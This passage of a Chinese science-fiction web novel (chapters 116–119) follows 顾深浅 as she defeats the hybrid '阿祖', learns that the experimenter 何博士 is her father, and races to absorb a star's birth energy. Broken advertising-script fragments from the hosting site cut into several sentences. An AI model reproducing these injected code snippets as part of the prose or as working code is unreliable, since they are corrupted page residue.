阿祖让周亦知杀了沈千峻带回来,可他分明知道沈千峻是不会死的。他知道沈千峻藏在附近,要沈千峻现身,而后又利用周亦知要她现身,在沈千峻动手时避而不打,还在跟她废话。 就好像……他也在拖延时间。 他在等什么? “我有一个问题,一直很想问你。”男声不知为什么显得有些嘶哑,连带着鸣叫声也更刺耳,打断了顾深浅飞快的思绪。 “你说。” “当年探索队把你从π星带回来,无论问你什么,你都很呆滞没有反应。当时你的项目不是我负责,我没有办法问你。” 阿祖顿了顿,好像:“你在π星,是怎么长大的?” 顾深浅错愕了一瞬,隔着阿祖对上沈千峻的目光。 当年顾深浅仗着小小年纪,装傻充愣地躲过了很多问题,后来有沈千峻给她周旋,到最后生物研究所的档案上,关于39号实验体的来历都没能有太多记载,几乎就是不详。 这位阿祖的一部分中,是当时隔壁项目组的负责人何博士,他没有问她是谁,没有问她来处,没有问她怎么会上到探索队的飞船上。 他问她是怎么长大的。 霎时间,和织梦不经意间的对话重新在她脑海中清晰起来: ——……那,玖安是地球人吗?父亲是谁? ——是……吧?她父亲是秦宓的丈夫,当时生物研究所的负责人,何博士。 顾深浅瞪大了双眼。 116. 行动(六) ——小鱼有爸爸,安安也有吗? ——当然有啦。安安的爸爸是和妈妈一样厉害的科学家。爸爸也非常爱你,一直在等你回家。 一直以来被忽略的无数细节在这一刻清晰地串联到一起,从顾深浅和沈千峻相遇开始就不断提到的何博士,生物研究所的项目负责人,在太空探索中失去了自己的妻子,从那之后愈发极端的实验手段。 甚至织梦在很早时候就告诉过她,她父亲正是当时生物研究所的负责人。 可这些似乎都被刻意地忽略了,她从未意识到过,这个找到沈千峻去做志愿者,折磨沈千峻的根源,正是她的父亲。 ……不,她意识到过。 在她最初赋予沈千峻新生的时候。 是什么时候忘记的呢? 顾深浅的精神领域里,呼吸般起伏的黑洞仿佛裂开了最后一根捆缚的弦,砰地炸开。 “你……” 顾深浅话音未落,沈千峻动了。 他疾速冲向阿祖,借力跃起向下,长腿回旋冲着阿祖后脑踢去。 刚刚挡住沈千峻攻击的盾不见了,他这一脚结结实实地踢中,阿祖就地飞滚出去几米远。 沈千峻站到顾深浅面前握住她双肩:“你怎么样?” “我没事。”顾深浅平静地拍了拍他的手,看上去神志十分清醒,“我看你刚刚出手的时候,他身上有打不碎的盾。怎么这会儿能打到了?” “不用精神力就行。”沈千峻说,“你们刚刚不说了吗?他在控制着这个基地的精神力场,我就想试试。” “这么看来,他自己其实没多少力量。用以攻击和控制人的除了π星生物的特性,都是在靠着有力量流动的曼巴蒂芬金属。” “不止。”周亦知突然说,“他很善于利用人类的情感操控他人。刚才可能也是想干扰你,也许是你深不见底的力量让他畏惧了。” 沈千峻不知道那段充满虫鸣的对话里,他们刚才说了什么,但他知道何博士是谁。 他以为她不在意,可才刚刚的表现来看,她似乎是不知道。 他小心翼翼捧起她的脸颊:“顾深浅。” 顾深浅莞尔:“真没事。我想起来了一些事,但真的没事。” 她望向一旁狼狈倒地,虫脚再次撑起身体的阿祖:“你把你的同族转移去了哪里?” 余下二人同时一怔,沈千峻脸色顿时难看得可怖。 阿祖被沈千峻一的一脚踹得不轻,眩晕了好一会儿仗着虫脚站直,这会儿只有一声极端的鸣声:“什么?” “我刚才一直没想通,既然你要周亦知带沈千峻来这里,为什么他现身后你却什么都不做,一直在交谈?”顾深浅说,“你在拖延时间。” “沈千峻虚弱得很,你既然能控制这个基地里的能量,自然也能轻而易举地杀了他。可你不仅没有,还一直在跟在场每一个人对话,企图催眠,可结果到现在也无一伤亡。” 她顿了顿:“我能想到最合理的,就是你有更重要的事在同时进行,我和沈千峻在这里,不过是你的声东击西。” 阿祖似乎缓过了一口气,虫脚笔挺直立,几条分支躁动飞舞着,像是被戳到了痛处,男声再次响起,语调比之前的任何一次都要怪异:“哦,是吗?既然你这么聪明,为什么不想想我把他们送到哪儿去了呢?” “你真的把他们送走了?这怎么可能?”周亦知问,“基地里都是只能维持原型的缇雅族,体型巨大。极光区往外三城汇集了人类武装力量,怎么可能走得了?” “当然可以。”阿祖说,“我可以告诉你,好孩子。只要你最终选择的,是你应该归属的地方。但看起来,你似乎对自己的立场还不够坚定。” 顾深浅打断了他:“你的精神技能是空间传送。” 阿祖沉默一瞬:“是又怎么样?” “是的话,就足够证明一件事。” 顾深浅向着他的方向走近,散碎的金色一点点从她手心溢出,逐渐蔓延至周身。 她仿佛从圣光中走来。 “浅浅!别动用精神力!” 身后传来沈千峻的提醒,顾深浅没有收手,也没有停下脚步:“没关系的啊,因为……” “这个自以为掌控全局,却连我的存在都无法感知的‘阿祖’……” “根本无法控制我。” 她披着金光一步步走近,所过之处光影不灭,停在亦人亦虫的怪物面前时,也停了话音。 却发出了让周亦知和沈千峻都惊在原地的蜂鸣。 【就到这里了,博士。】 阿祖紧接着发出长鸣,和π星生物濒死时的声响有点像,却又好像截然不同,更像是一种仰天长啸:【你就算杀了我,也无法终止空间转移!你永远也不会知道缇雅族去了哪!】 【你太傲慢了。】 顾深浅说完,没有再给他说话的机会。 她抬起手,金色元素争先恐后地汇集向阿祖,霎时将他包围。 沈千峻和周亦知对视一眼,周亦知眼中的情绪来不及遮挡,快速地挪开眼。 仅仅这么眨眼的工夫,金色光芒包裹着的,人虫结合的身影已经分崩离析。从一个影子分裂成了三个,两边的两个人形分布在两侧,中间俨然是π星生物的轮廓。 不同的是,体积硕大的π星生物这会儿只有一个稍胖的成年男人大小,还在持续浓缩,一路变成宠物大小,最终浓缩成了豆子大。 金光圈着他飞到顾深浅抬起的掌心,顾深浅似笑非笑地说:“这下真成虫子了。” “再也不见。” 她轻轻吹了一口气,金色光圈连同里面虫影刹那间小范围爆开,化作泡影。 做完这些,她走到左边那个黯淡的身影前:“她的精神体在多年压制里已经非常虚弱,神志不是很清醒了。刚刚主体召唤出来诱骗你时候,她主观意识的反抗对自己的消耗很大……” 她回头望向周亦知的方向:“对不起,你们大概只能有半个小时告别 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了。” “不用道歉,”周亦知说,“谢谢。” 顾深浅让开位置走向沈千峻,一道余光都没给另一边的那个身影。 “来不及多解释,朝蝴蝶的诞生会比我们的预测时间更早,我必须去守城,否则三城民众来不及撤退。” 不等沈千峻插话,顾深浅握住他的手:“我知道你想说什么,但你也有更重要的事。我已经看过整个基地,找不到他的空间传送点,基地目前也已经没有π星生物活动的痕迹。” 这也就意味着虽然阿祖死了,但沈千峻一网打尽的计划也失败了。 更糟的是,没人知道这些π星生物现在在哪。 沈千峻望着她,陈述道:“你知道他们在哪。” 没想到顾深浅却摇了摇头:“我不知道,他最后藏了一手,我没能读到这里的相关记忆,只能靠猜。” “朝蝴蝶是他们一路通过天体运动引导引来的,距离控制很巧妙,只毁三城不毁地球。对他们来说最好的结果,三城覆灭,他们可以趁机逃回π星;最差的结果,只要云汉1号松动,他们只要掌握那个瞬间发出定位信号,就可以再次引来π星。” “把你引来这里也是一样的,极光区作为中心受灾区,只要把你困在这里,即使你能死而复生,精神元素也将在宇宙间流浪,一时半会儿恢复不了。没有了你,π星要入侵就简单得多。” 顾深浅加快语速说完这些后呼了口气:“无论是哪种情况,要逃回π星也好,向宇宙发送信号也好,他们离不开设备。另外,为了以防万一,被传送到的地方必然是安全的,不能受到朝蝴蝶波及。” 沈千峻接道:“这个地方的容积也不能小。” “地下通道。”周亦知的声音突兀响起:“符合你们刚说的这几条的,只有那个地方。” “那里已经封住了,每天都有人巡逻。” 沈千峻刚说完就意识到了什么,脸色十分难看。 顾深浅握着他的手微微用力,镇静地说:“先别慌。他们的阿祖没有去,就算他们被传送到那里,也是躲着特监处的人走。一旦巡逻有异常就是直接暴露了位置。再者说,那里被我们发现后,设备已经搬空了,他们未必会去。” 沈千峻说:“科研二组只有关于他们在进行生物形态转化实验的报告,从没报告过天体实验或者宇宙航行设备。不应该是那里。” 顾深浅说:“你现身的时候我已经给先锋队发过位置,徐飞扬应该已经带着他们在岸边待命了。你先去跟他们会合,我们光靠猜得不到结论,只有你能安排全局。” 她勾起唇:“我还需要你给联盟施压加快撤离速度呢,老大。” 沈千峻眸光沉沉地注视着她,深邃的瞳孔中满载着不可言说的情绪。 倏地,他上身前倾扣住她的后脑勺,动作利落又稳当当地将顾深浅锁进怀里,胳膊箍得顾深浅发疼。 下一秒,他松开她,在她眉心的海浪印上了一个截然不同的,轻柔而隽永的吻。 117. 父亲 把沈千峻送上岸,偌大的海底基地只剩下顾深浅和周亦知二人,周亦知正盘坐在地上,目光空灵地注视着空无一物的金色。 原本在那里的精神体不知何时已经消散了,只剩下另一边的身影。 听见动静,周亦知看向她,又扫了眼金光里的何博士,自觉地起身:“我去找找看传送点。” 她没有回应,周亦知权当是默认,干脆利落地走了出去。 如果顾深浅可以,大概会拦住他说一声,没关系,不需要避嫌,然而顾深浅此刻分不出精力来和他对话。 她在看何博士的记忆。 精神领域黑洞破开,关于“爸爸”的记忆纷至沓来,关于这一道封印落下的始末也展露在她脑中。 不知是否是出于执拗,她总有某种直觉,这不是全部。 她想看看他眼中的真相。 地球古早文明时代,人类苦于探索未来的出路,形成了全民科研的热潮,能人辈出。正是在这个时代,一位天才生命科学家横空出世。她最先提出并验证了超自然进化的阶段性理论,轰动整个科研界。取得这样成就时,秦宓年仅19岁。 接下来的几年一切顺理成章,超自然进化项目蒸蒸日上,数不清的惊人理论被提出、证实。秦宓成了人类生命科学的最高智慧,科研界一半以上都是她的学生,是期刊常客。 奇怪的是,一夜之间,却再也没有关于她的消息传出。 秦宓再次出现在大众视野中,是在半年后的一起桃色报道,流传她和自己的博士生何正青是恋爱关系。 何正青正面回应,秦宓随之公开,一年后何正青博士毕业,二人低调结婚。 秦宓逐渐淡出大众视线,带着何正青接触她手上的项目,产出文章的第一署名都是何正青的名字。 没过多久,何正青考进生物研究所,成了人人尊敬的何博士,从一个打杂的助手到独立负责生物研究项目,是秦宓以外上升最快的人。 流言蜚语纷纷,没人相信既得利益者的真心。有人说秦宓遇人不淑,识人不清;有人说何正青傍上秦宓,这辈子科研路上一片坦途。 没人看好他们,除了实验室的几个好朋友,和他们自己。 流言蜚语在秦宓的绝对实力下没能对她造成什么影响。即使怀孕状态,秦宓依然是生物研究所的王牌,史无前例地以孕妇的身体坐上了太空探索队的飞船,担任领队一职。 由何正青担任超自然进化项目的负责人。 那也是何正青性情大变的转折点。 没有了秦宓的保驾护航,项目进度迟滞不前,何正青研究理念越来越偏激,研究方向也越来越偏。 月见小队回到地球,却没有带回秦宓,何正青彻底走偏了。 研究项目对志愿实验体的折磨越来越丧失人性,青年时期的沈千峻正是第一个何正青的带回的第一个志愿者,也是这批志愿者中受害最深的一个。 也是对何正青最为崇敬的志愿者。 顾深浅在何正青的记忆里看到了那个时候的沈千峻,看着他和何正青侃侃而谈,笑容明朗。 他刚不过二十岁的年纪,即使一个人照顾重病的妹妹眼里也是透着光的,对世界充满希望,对自己有规划,对未来有畅想。 他答应成为志愿者不仅是为了沈千禾,也是被何正青的慷慨陈词所打动,想看看他口中那不一样的明天。 无论多么痛苦,他一直在配合。哪怕他感受到自己身体能承受的已经到了极限,最后的选择也只是想自由地死去。 可是这个人…… 顾深浅褐瞳染上金边,金芒一闪而过,她不忍心地闭上眼。 何正青的声音响起,静谧而空旷的室内不再有虫鸣,男人的回声显得格外鲜明:“你都知道了……” “我应该知道什么?” 她可以看到一个人的生平经历,却无法看透一个人内心的想法。 何正青到底是否真心爱慕秦宓,他一步步走歪,到最后癫狂,和π星生物融合的地步,到底初心为何,她无从得知。 可何正青收买沈千禾当时的主治医生,让沈千峻以为他是救沈千禾的最后希望,最终让沈千峻心甘情愿地成为他的实验体,在他身上进行了数不清的非人道实验,每一步动作,每一句对话都清清楚楚,历历在目。 “我……我是你的父亲。” 顾深浅睁开眼,看着金光里的人影宛若在看一个死人:“我知道。” 在很多很多年前,第一次看见沈千峻的记忆时,她就认出来了。 “外面还有很重要的事等着我,我留下的目的已经达成,没时间和你追忆往昔。”顾深浅冷漠地说,“生养一场,我不会杀你。离开前,我送你最后一个礼物。” “π星生物有个本源体,也就是他们死死保护的命门。这是基于π星地理特性产生的,你没在周亦知身上见过,所以你认为他没有命门。但事实上并不是。” “本源体是基于π星的各种力量元素构成的。” “你能看见命门,因为他们没有精神领域,本源体无处可藏,只能长在身上。但周亦知有,他可以把本源体藏在最隐蔽的地方,即使是你也找不到。” 顾深浅平静地说:“我也有。” “我是彻头彻尾的人类,力量都是母亲在临终前打进我身体的,本源体自然也是。” “就在刚刚,我发现我所有关于你的记忆,包括情感,全部被封印了起来。” “做这一切的,正是我的本源体。” 人影僵住了。 顾深浅转过身,毫无留恋地离开。 走到门口时,她身后传来男人近乎癫狂的怒吼:“你什么意思!!” 她停了停脚步,终是沉默地走了出去。 高大的门洞在她身后合上,周亦知懒洋洋地倚在走道对面:“解决了?” 顾深浅:“你不都听见了。” 周亦知闷笑一声:“他这状态,也活不过两天吧?你是不杀他, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 也没打算救他。” “我为什么要救他?” 顾深浅说着打开光脑,呼出了通讯。等待接通的时候她望向周亦知,眼中平静无波:“很小的时候妈妈跟我说,爸爸是个科学家,很爱我。而我回到地球,妈妈守护着我的最后一点力量,只做了一件事,就是封印起令我恐惧的记忆。” “他就是之一。” 不等周亦知反应,通讯已然接通,沈千峻铁青的脸跃出:“什么之一?你在跟周亦知说话?” 顾深浅眼睫弯弯,嘴角噙着笑:“是啊,你在飞行器上?现在在往哪?” 沈千峻脸色好看了点儿,没正面回答她:“从刚才到现在,没接到异常反馈。技术组检索天网也没有发现大型异常物种出没的痕迹。” “意思是,他们可能在某处无人区?” “不是某处。”沈千峻嘴角讥诮,“我猜,就在南极光区。” “远离城区,正面区域都是无人大区,别说特监处,联安署在附近都没有办事处。只要不是天大的动静,我们很难察觉。”顾深浅说,“确实是个大规模转移的好地方。” “你好像话里有话。”沈千峻挑眉,“直说。” “没有,我觉得你说得对。只是想再给你个小提示。”顾深浅眨眨眼,“南极光区是距离这里最远的地方。他们敢选在那里,无非是仗着阿祖的空间转移,看朝蝴蝶的实际情况决定是回家还是发送位置信号。但现在他们的阿祖没了,空间传送点恐怕有异动。虫子虽然没有精神力,但同族之间有自己的交流方式,难保不会察觉。你们落地千万小心。” “嗷。”沈千峻尾调上扬,“听你这意思,像是已经确定他们在南极光区了。” 顾深浅又眨了眨眼:“在不在,你去看看不就知道了。” 沈千峻眼底终于带了笑意,叮嘱道:“织梦下落不明,霍普也是变数。当地办事处随你调遣,保护好自己,我随后就到。” “你也是。” 通讯挂断,顾深浅歪过头狡黠一笑:“舅舅,能帮我办件事儿吗?” 周亦知几乎没有思考:“好,你说。” “答应得真爽快,那可不许赖账了。”顾深浅调侃一句后便正色道,“找到织梦,带他离开三城。” 周亦知微怔,随即苦笑着摇头叹息:“你真是。” “我刚联系他没联系上。我知道你现在可能不想见他,但真没别的办法。”顾深浅认真地看着他,“除了你,我想不到谁还能更快地找到他。朝蝴蝶随时可能炸,他离开时候失魂落魄的样子你也看到了。” 周亦知还是不表态,顾深浅继续说:“你费那么大劲儿偷偷种下保命符给他,好不容易保下他一次,总不能就这么放任他吧?” “朝蝴蝶一旦诞生,三城将无人生还,包括他。” “啧。”周亦知食指轻弹她脑门儿,“小丫头片子,还会吓唬舅舅了。” 顾深浅一眨不眨地盯着他。 “没说不去。” 118. 云层 地球历公元214年7月18日,北极光区。 公区广反复循环着官方的撤离公告,警报盘旋在三城上空,议员沉着冷静的声线在紧张的背景音下,透过遍布四处的扬声器,将有序撤离的细则一条条传到每一个民众耳中。 撤离行动在联盟驻军、联安署和特监处的三方协调下有条不紊地进行。 顾深浅给他们解决了最大的麻烦,还有不断的,无法避免的小麻烦在等着区议会。 被顾深浅无情抛弃的霍普无奈下被特监处当地办事处抓了壮丁,跟着跑上跑下地协调各类突发事件。 黑兜帽往那儿一站,冷冰冰的眼神过去,再不配合,再嚣张的人都得矮上三分。 但由于本人过于呆萌崩人设被勒令不许开口。 开不了口的霍普站桩站得无聊极了,再一次旁观特监处的人扮成警员处理完两个疑似卧底的刺头,目送又一架飞行器驶离送走所剩不多的市民,他背过身捂嘴打了个哈欠。 忽地动作一顿,抬头望向斑斓的夜空,不知在想些什么。 顾深浅的通讯正是这个时候来的,没有任何寒暄,她直说:“有机会送你离开地球,走不走?” 霍普视线依然驻足在那里,他问道:“屏障在打开了,是吗?” 通讯那头传来顾深浅的声音,听不出情绪:“是。” “好。” 杨楠很久没睡得这么沉了,她好像不停地在做梦,却又捕捉不到任何内容。 接二连三的画面一幕幕在她脑海中划过,最终定格在某处黑压压的海面,像是即将迎来一场雷电交加的海啸。 “你身上捆绑的是整个地球的保护网,无论发生什么,务必保护好你自己。” “谁都可以死,唯独你不能。” 男声消失,传来少年还没过变声期的沙哑: “我活着就是为了守护你活下去。” “我是为你而生的。” 杨楠心狠狠一跳,蓦地睁开眼。她怔怔地盯着眼前距离过近的灰白色顶,半晌才后知后觉地反应过来自己在哪儿。 她撩开散落地橙红色长发,修长指尖随意地划过胶囊舱的一角:“罗亚。” “在。” 罗亚熟悉的声音让她松了口气,问道:“情况怎么样?” “云汉2号同步搭建的预备工作都已经准备好了,等你适应好仪器就可以开始。你呢,感觉怎么样?” 杨楠目光落在自己的手心,莞尔:“我很好,开始吧。” 罗亚还想说什么,顾及着周围一干人又憋了回去,他起身准备给科研组让出位置时,舱内传来杨楠的声音:“罗亚,外面的天,现在是什么样子?” 他和组长交换一个眼神,组长默许地点点头。罗亚从控制台上取下一个手指大小的麦,一路走到实验室边缘的玻璃窗前。 “云层熠熠发光,好像净化了杂色,漂亮又纯净。” “能看到极光区吗?” 这里看不到的。 这句陈述事实的话在此时却显得过于残酷,罗亚咽了回去:“距离有点远,这会儿阳光很好,把附近的土地照得通亮。夹杂在云层中的还有层峦叠嶂的雪山群,延绵不绝。很壮观。” “等你结束,我带你看。” “好。” “咚咚——嘀——” 隋楚敲了两下门后刷开门禁,多看了眼窗边的罗亚和中间的胶囊舱,无暇和谁打招呼,快步走向组长:“老师,北极光区上空有异动。” 他放开光脑,投影出另一边的实验室,观测器上,灿烂的蝴蝶中间已经挤满了灰色,争先恐后地涌出一个个圆形,像是沸腾了的开水,只缺一点引线,随时都会炸开。 光脑那头的隋宁说:“教授,朝蝴蝶诞生恐怕比我们预测得更早。” 他话音刚落,窗外湛蓝的天际下,陡然晕开一圈白色光环。 一层又一层的光圈不断叠加,慢慢将远处的天空照的透亮。随着光圈移动的轨迹,罗亚看到天际线由远及近形成了一道蓝色的渐变。 像是死亡的轨迹。 就连他们脚下的实验室都跟着震了震。 隋楚错愕得半晌没回过神:“老,老师……这是?” 组长深深看了一眼胶囊舱:“云汉1号开始回收了。” 罗亚猛地回头望去:“楠楠?!楠楠!说话!回答我!” 一片死寂。 “她应该已经失去意识了。”教授叹息,“你想陪她的话,跟她说说话吧。” “不……”光脑那端,隋宁错愕地看着观测器上炸开的一片灰白,“诞生了……是朝蝴蝶,朝蝴蝶诞生了!那极光区……极光区还有多少人没有撤离?” 隋楚头皮发麻,无声地恐惧蔓延到每一个人的后背。 没人能想到云汉1号回收的刹那灾难就会降临,这不仅意味着隋宁等一众人的推算错误,也意味着,他们可能损失了人类最强大的一部分力量。 一个组员最先反应过来,请示组长道:“是不是优先在分界处启动云汉2号?” 他们现在所在的,正是分界处的实验基地。 组长扫向他的目光沉沉,组员抿唇:“不是我贪生怕死,但这道坎之外还有更多的人需要保护。我们以此为分界处一开始就是基于汇集力量的前提,现在……” “够了。”组长说,“通知加速搭建人造云汉2号。另外打开天网成像仪,开到能量监测成像。” 组员立即照做,天空上方的能量监测成像图展开,异常能量在图上显示成了一个个红点,正从极光区飞速外散。 隋楚暗自飞速估算着能量抵达此处的阈值,同步和目前的防护能量做着对比,心沉到了谷底:“不够。” “什么不够?” “不到十分钟能量就会扫过来。”隋楚脸煞白,“我们来不及搭建云汉2号。” “都冷静点。”组长说,“联系沈教官,听他怎么说。” “试过了。”罗亚突然开口,“徐队、沈教官,我都试过了。通讯全断,内部频道也没有回应。” 实验室内鸦雀无声。 “诶?”组员杵在组长旁边, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 惊讶地发现,“您看这儿,这能量是不是在回缩?” 众人的目光一齐看向成像图,罗亚始终看着极光区的方向。 那蓝色渐变凝固在了某一个定点,随后便似乎是受到什么力量的召唤,一道道白光缓缓回缩,最终聚焦成了一个定点,融进了远处的云层。 窗外依然是会发光的云层,一片大好晴天,刚才的震动和恐慌似乎从未出现过。 组长问:“云汉2号还需要多久才能搭建完成?” 组员看了眼进度说:“已经在全速推进了,虽然只是一面缺口,但毕竟有一座城那么大,怎么也还得再花个一小时。” 组长叹息:“继续联系沈教官和徐署长。不排除这种现象只是暂时的的可能性,我们需要做好二手准备。” “有可能。”隋楚皱眉盯着成像图:“北极光区的能量更浓密了。这种感觉就好像,有什么把朝蝴蝶诞生一处的能量,都锁在了这块。” 组长接着说:“没错。如果锁着的力量崩了,能量就会再次溢出。” “我们都会死。” 南极光区,黑压压的残肢洒了一地,落在白得发光的雪地里愈发显得触目惊心。 沈千峻一根冰棱梭子插进最后一只π星生物的命门,结束了这场跨越二百年的物种战斗。 先锋队不知哪个先高喊了一声,扭头毫不畏寒地躺倒在雪地:“累死老子了。” 紧接着是第二个,第三个…… “上次打这么爽还是在上次。” “一次性杀这么多虫子,咱得名留青史吧。” “是你杀的吗?给你美的。” 沈千峻嘴角露出点笑意,徐飞扬胳膊肘杵他:“这会儿高兴了。看你一路那脸色都要吃人了。” 笑意没了,沈千峻如他所愿恢复了吃人脸并拧起了眉头:“通讯断了?” “哦,刚打架时候开的隔离结界。稍等。” 结界一撤,二人光脑上的通讯提示直接炸了。 徐飞扬光速阅览,疾速总结:“云汉1号回收,极光区觉醒了十六只以上π星生物,十四只在控制范围,遗漏了两只。当时市民撤离才刚过半,剩下一半里面大部分都是普通人,造成了小规模骚乱,当地办事处反应很快,当时就控制住了。清点发现37人轻伤,2人重伤,目前都已转移。” 越往下翻,徐飞扬眉头皱得越深。 霍普失踪,顾深浅不见踪影…… 徐飞扬立刻联系当地办事处,可无论是通讯还是内部频道,全部无法触达。 这情况他也熟得很——隔离结界。 他犹豫着如何开口时,沈千峻的通讯适时地响起了。 徐飞扬一口气没松完,就看着沈千峻脸色肉眼可见地变差:“我知道了。徐飞扬马上过去,三城以内的事暂时听他的。三城以外我会处理。” “怎么了?” “你带先锋队去分界处,务必确保公民全部转移。” 沈千峻顿了顿,踢了脚一边瘫着的队员,“我没记错的话,你小子是不是会一点空间技能?” 119. 死局 “主人,这是不是不太合适。” 宽大兜帽下,霍普表情相当一言难尽,看上去很想发表点什么意见,但翻遍了一肚子墨水也就找到了这么一句。 “我又没要你怎么样?”顾深浅语重心长,“在我们地球人的文化里,男人不能不说不行的。” “……” 霍普嘴巴张开又闭上好几回合,嘟囔着说,“我也不是男人啊……” “你们机械生命是单性繁殖?” 霍普拧眉:“我们才不是那种低级生物。” 顾深浅耸耸肩,“总之,这是我目前唯一能给你找到的工具,虽然已经成了破败的铁皮,但你机械生命嘛。而且我已经套上了防御结界,你只要坚持着飞过朝蝴蝶的能量膨胀范围,等出了地球,想换个其他的交通工具我相信对你来说不会是难事。” “谢谢你。但是……”霍普真诚地发问,“你为什么放我走啊?我是一个很强大的甲兵,你又很喜欢机甲,你不想拥有我吗?” 顾深浅莫名其妙地瞥他:“我喜欢机械,因为我喜欢死物。不巧,你是活的。” “……” “还是你愿意死一下?” “这倒也不必。” 顾深浅勾唇:“我真没时间了。你自己注意观察,一旦云汉1号回收立刻就走。这次之后地球很快就会封上新的‘云汉’,错过这次就不知道下次什么时候了。还是那句话,要走的话,抓紧机会。” 霍普也咧开嘴角,对着顾深浅行了一个表达致敬与感激的军礼。 顾深浅按了按他的肩:“走了。” 她走得潇洒又干脆,似乎从没想过在这样的星际灾难时刻,他能为她提供什么。 就好像最初,她将是否继续成为“天龙”的选择权给他,而她自己失去天龙后的影响,她似乎一点都不在乎。 霍普垂眸,不知在想什么。 “朝蝴蝶的能量是可以被接收的。” 顾深浅停下脚步,转过身:“什么意思?” “朝蝴蝶诞生的能量可以被曼巴蒂芬金属接收,只是地球上的储量不多。”霍普抿唇,像是下了什么艰难的决定,认真地看着她:“但我可以改变物质。” 顾深浅在震惊里缓了五秒才找回语言功能:“未必,未必不够。如果北极光区的海底有一整座曼巴蒂芬金属搭建的基地呢?” “你说什么?!” 顾深浅没有犹豫,立即带着霍普下到了π星生物的海底基地,大门面对顾深浅自然打开,冷白灯光照亮二人时,她发现霍普的表情有点精彩。 顾深浅:“?” “呃……”霍普一言难尽,“你刚才说,这就是特监处一直在抓没找到的,π星生物藏身的秘密基地?” “对。” “之所以一直没抓到他们,很大一部分原因就是这个基地?” “……呃,也可以这么说。” “……” 霍普嘴唇动了又动,看上去充满踟蹰。顾深浅危险地看着他:“到底什么情况?” “……”霍普尴尬地移开眼,视线飘忽,“那什么,这地方,就……” “有话直说,我不揍你。” “……这东西可能是我带来的地球。” 顾深浅:“……?” 霍普深吸了一口气,大概觉得自己天大的秘密都已经交代了也不差这一点,破罐破摔地说:“之前不是说过,那什么,我一进入地球,星舰就因为压强失控坠毁了。这玩意儿就是我的星舰。” 顾深浅错愕地跟他大眼对小眼对视了半天,她才“嗷嗷”了好几声,摸了摸鼻子:“难怪。你当时星舰应该是坠海了。不是,你们那儿用曼巴蒂芬金属做星舰?还做这么大的?” “混合星系什么物种都有,大体积比较方便。”霍普说,“也不都用曼巴蒂芬金属,我这也算特殊情况。” 霍普没多说,顾深浅寻思应该是涉及到了他们星系的事,也没有多问,说起正事:“那也省得我带你参观了。这地方行不行?接收朝蝴蝶能量……能够吗?” “远远不够。”霍普苦笑:“主人,这是一颗恒星的诞生,爆发的能量再近点就足够毁灭整个地球。就这么点肯定不够的。” 顾深浅面露失落,霍普又继续说:“我有办法。不过,有个前提。” 她眼睛一亮:“你说。” “我们必须绝对信任。”霍普认真地说,“主人,您信任我吗?” “不信任你我不会带你来这。”顾深浅说,“我们的目的是一致的。” 霍普粲然一笑,递出手心:“融合我的力量,从这片海域开始一直到更远的地方,地球上所有云汉覆盖不到的地方,尤其是无人区域,全部变成曼巴蒂芬金属。” 顾深浅愣住。 “把星舰……不是,基地,升到岸上,让顶端离云层越近越好。让我们在朝蝴蝶诞生的第一位置,这样无论朝蝴蝶泛出多大的能量波及地球上,都会被我们和曼巴蒂芬金属优先吸收。” 顾深浅问:“曼巴蒂芬金属吸收掉这些能消化吗?如果二次爆发会不会……” “不会。”霍普狡黠一笑,“因为一旦这场朝蝴蝶的诞生盛宴结束,我们会一起快速修复星舰,而里面的能量将作为我宇宙航行的最直接动力。” 顾深浅眨眨眼:“一直以为你有点傻,没想到还是个小天才。” “谬赞。” “那么,开始吧,我的主人。” 顾深浅盯着他的手心看了一秒,毫不犹豫地伸出了自己的手心。 双手交握处,金光疯涨地将二人包围,一路扩散到基地外。 这座巨大的海底建筑就像个轻便的盒子一样缓缓上升,而这道上升轨迹下,所过之处的海水迅速变黑,浓墨一般晕开并不断地向外扩散。 建筑逐渐浮出水面,还在一路上升,尾巴上带起来的黑色海水在露出水面的一刻发生了箱相变,黑色海水搭建成了最坚固的高台,一条条神秘纹路浮现,在斑斓的极光下泛着诡谲的金属光泽。 高台稳坐,以此为中心,黑色延展而去。 不多时,这片冰蓝海域俨然已经和夜色融作一团, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 成了一望无际的黑。 高台上的巨型建筑内部遍地金光,她扩张的五感随着力量蔓延至云汉之外每一寸远离人类生存的土地,深入到每一寸人类探索过和未曾触达过的海底。 所过之处无一在短时间内迅速质变,呈现一片与天同色的黑。 同时还要避过某些深海生命。 没有任何人能做到这一步,除了顾深浅。 代价是她力量的极速消耗,比当初玖安诞生以来的任何一次消耗都更大。 她脸上逐渐冒出薄汗涔涔,霍普掀开眼帘,露出沾染金光的双瞳:“再坚持一下,就快够了。” 【好。】 顾深浅融合了霍普的力量,身体与精神体都在大幅扩展,交流都是通过精神领域。倏地,她清晰地听到了一道清脆的响声,像是玻璃裂开的声音 霍普显然也听到了。 他目光直直地盯在一个方向:“那里有什么?” 啧,把里面那个忘了。 顾深浅暗叹:【现在大概算是,人?】 “?” 霍普一肚子疑问刚到嘴边,突然出现的动静却又突然消失了,即使他连着顾深浅的五感,也没再在这金光内感受到任何生命的存在。 “好像不见了。”他嘀咕道。 【应该是跑了。】顾深浅说,【这里有他布置好的传送点,我没来得及清除,大意了。】 霍普“唔”了声:“总觉得哪里不对……” 话音未落,头顶的先一步传来响动。 和刚才清晰且清脆的碎裂声不同,这阵响动闷闷的,却又好像直穿地心,顾深浅精神领域都震了震。 相连的一人一机械同时感受到对方的震撼,霍普惊讶地说:“这动静是……?” 【云汉1号塌了。】顾深浅倏地一沉,想法通过精神领域传递给霍普,【不对……不止。是朝蝴蝶!】 “朝蝴蝶诞生了!” 一模一样的字眼同时蹦出,顾深浅当机立断开始回收精神力,同时铺开通道将朝蝴蝶诞生的能量一丝不漏地吸收。 可就在她的通道刚准备铺开时,耳边再次响起了那道碎裂声。 这次的声音并非来自看不见的远方,而就在她身后。 清脆又清晰。 看不见的利刃从她后背贯穿心脏,剧烈的疼痛下顾深浅第一时间紧急地切断了和霍普的连接,可霍普还是不可避免地感受了一瞬生命快速流逝的滋味。 